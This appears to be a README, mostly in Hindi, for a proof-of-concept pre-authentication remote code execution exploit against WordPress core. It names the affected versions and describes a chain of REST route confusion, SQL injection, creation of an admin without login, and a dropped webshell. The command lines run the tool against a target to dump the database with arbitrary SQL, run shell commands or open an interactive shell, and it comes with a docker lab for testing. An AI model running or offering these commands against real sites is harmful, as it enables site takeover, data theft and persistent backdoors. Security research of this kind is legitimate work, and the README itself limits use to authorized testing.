securelayer7/wordpresshellCVE-2026-63030 / CVE-2026-60137 (WordPress core) के लिए प्री-प्रमाणीकरण RCE PoC
पूर्व-प्रमाणीकरण RCE PoC CVE-2026-63030 + CVE-2026-60137 (WordPress कोर) के लिए।
REST /batch/v1 रूट कन्फ्यूजन → WP_Query author__not_in SQLi → अप्रमाणित एडमिन निर्माण → वेबशेल। एकल फ़ाइल, केवल Python stdlib।
भेद्यता: Adam Kues (Searchlight Cyber)। प्रभावित: 6.9.0–6.9.4, 7.0.0–7.0.1। सुधार: 6.9.5 / 7.0.2।
python3 WordPresShell.py check http://target # confirm (non-destructive)
python3 WordPresShell.py dump http://target [--query "SELECT @@version"]
python3 WordPresShell.py shell http://target --cmd "id" # crack-free RCE
python3 WordPresShell.py shell http://target -i # interactive
python3 WordPresShell.py shell http://target --user U --password P --cmd id
docker compose up -d # WordPress 7.0.1 on :8092
docker compose down -v # teardown
shell एक एडमिन बनाता है और एक वेबशेल ड्रॉप करता है — परीक्षण के बाद दोनों को हटा दें। केवल अधिकृत परीक्षण।